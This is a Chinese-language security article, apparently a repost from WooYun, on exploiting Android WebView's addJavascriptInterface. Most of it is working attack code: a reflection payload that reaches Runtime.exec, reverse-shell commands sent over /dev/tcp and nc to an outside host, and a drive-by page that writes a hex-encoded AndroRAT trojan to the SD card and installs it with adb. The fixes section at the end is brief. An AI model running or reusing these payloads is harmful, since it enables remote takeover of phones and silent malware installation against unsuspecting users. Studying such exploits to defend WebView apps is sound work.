<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/548

            0x00 背景


            在android的sdk中封裝了webView控件。這個控件主要用開控制的網頁瀏覽。在程序中裝載webView控件,可以設置屬性(顏色,字體等)。類似PC下directUI的功能。在webView 下有一個非常特殊的接口函數addJavascriptInterface。能實現本地java和js的交互。利用addJavascriptInterface這個接口函數可實現穿透webkit控制android 本機。

            0x01 檢測利用


            一般使用html 來設計應用頁面的幾乎不可避免的使用到addJavascriptInterface,包含不限于android瀏覽器。

            在android 代碼程序一般是這樣使用:

            #!java
            settings.setJavaScriptEnabled(true);
            settings.setJavaScriptCanOpenWindowsAutomatically(true);
            mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");
            

            這里可以用

            apk->zip->dex->dex2jar->jdgui->java
            

            代碼來查找。

            但建議用apktool 反編譯smali(畢竟不是所有apk都能反編譯成java代碼)

            在smali代碼中 則是類似下列的代碼:

            const-string v0, " js2java "
            invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
            

            當檢測到存在上述代碼時,可以進行進一步驗證利用:

            在11年,已經有人利用addJavascriptInterface進行文件讀寫,并放出簡單的poc,到12年出現了簡單的執行代碼的exp。利用的是反射回調java類的內置靜態變量。如下列的利用代碼;

            <script>
            function execute(cmdArgs)
            {
                return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
            }
            …
            </script>   
            

            利用java的exec執行linux的shell命令。

            0x02 遠程獲取shell


            套用yuange的一句話:Poc遠遠小于exp的價值。

            利用addJavascriptInterface實現shell.

            Android內部的armlinux 是沒有busybox 的,一些常規彈shell的方法被限制。

            使用了java的反彈shell方法

            //execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);
            

            在Nexus One 4.3的android虛擬機 并未成功彈出shell.

            后發現android中可執行 nc命令 (閹割版的不帶-e的nc)

            這里用了nc的另外一種彈shell的方法完成

            Exp 內容:

            #!javascript
            <script>
            function execute(cmdArgs)
            {
            return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
            }
            execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
            alert("ok3");
            </script>
            

            // 注 xxx 保護隱私用xx代指。

            效果如下 ? enter image description here

            當然可以用遠程IP地址。

            0x03 遠程掛馬


            畢竟是android環境,shell使用不是很方便。類似xsser肯定不滿足于此。

            再升華下,實現網頁掛馬。

            Android 4.1已經加入ASLR技術,堆噴射之類不再有效。UAF要針對android的內核版本。利用自身特性的漏洞是目前比較靠譜的方法。

            這里以androrat遠控木馬為例。

            實現網頁掛馬

            大部分瀏覽器已經對下載文件進行保存提示。這里需要把andrat.apk寫到掛馬網頁之中。

            #!javascript
            <script>
            function execute(cmdArgs)
            {
            return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
            } 
            
            var armBinary = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4x80x22x61xE3xAAx42x4DxC7x22x86x4Ax91xA8x14xC4x0Ax56x7CxC2x27x68x1Cx39x57x0Ax53x11x3Bx63x37x06xFEx01x33x1Bx43x17x36x56xFEx07xACx6Dx9FxCBx1Dx3Dx
            ……
            var patharm = "/data/app/Androrat.apk";
            var a=execute(["/system/bin/sh","-c","echo -n +armBinary+ > " + patharm]);
            execute(["chmod"," 755 ","/data/app/Androrat.apk"]);
            

            這樣存在幾個問題:

            andrat.apk的 hex value大約300k,瀏覽器或者java的exec可能對傳入參數大小有限制,(測試的瀏覽器有限制無法執行)

            /data/app/ 目錄存在權限問題,需要root,chmod 也是同理。

            Android這種靜默安裝要么是有root或者系統簽名的install權限,要么是做成預裝軟件的樣子并且重啟。或者是2.2 版本左右可以 通過調用隱藏api安裝。

            經過進行fuzz實驗,完成了掛馬功能:

            #!javascript
            <script>
            function execute(cmdArgs)
            {
            return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
            } 
            
            var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4
            
            var armBinary2="x1BxB0x65x0AxADx23xC2x30x64xDFxEExA1x0DxA4xE8x3Fx61x80xEExBCxE1xE7x7Bx4Ax25x6Fx8Bx36x71xC3x80x81x58xDBxC9x8Fx53x9FxEEx8Ax45xAFx23x54x4AxCFx2Bx52xF2x33x84xBAx82x36xC4x0Dx08xAFxC2x61x8ExD8x7Bx0BxFCx88x4Ax25x24x8Cx22xFAx76x44x78x5Ex99x62x30x44x8DxDBx74x94
            
            var armBinary3=…
            var armBinary4=…
            ……
            var patharm = "/mnt/sdcard/Androrat.apk";
            var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);
            //alert(a);
            execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
            execute(["/system/bin/sh","-c","echo  -n +armBinary3+ >> " + patharm]);
            execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
            execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
            alert("over !!!");
            </script>
            

            將androrat.apk拆分。

            利用echo寫入到sdcard中(此目錄可讀可寫 不可執行)。

            利用自身帶的adb進行安裝(安裝各種xx手機助手的不在少數吧)。 ? enter image description here

            Androrat 成功安裝,這里使用了androrat的debug=true模式。

            enter image description here

            成功連接到控制端。

            0x04 修復


            1、Android 4.2 (api17)已經開始采用新的接口函數【java中應該叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升級,瀏覽器需要兼容。

            2、在使用js2java的bridge時候,需要對每個傳入的參數進行驗證,屏蔽攻擊代碼。

            3、控制相關權限或者盡可能不要使用js2java的bridge。

            Link: http://developer.android.com/reference/android/webkit/WebView.html http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String) http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf http://50.56.33.56/blog/?p=314

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线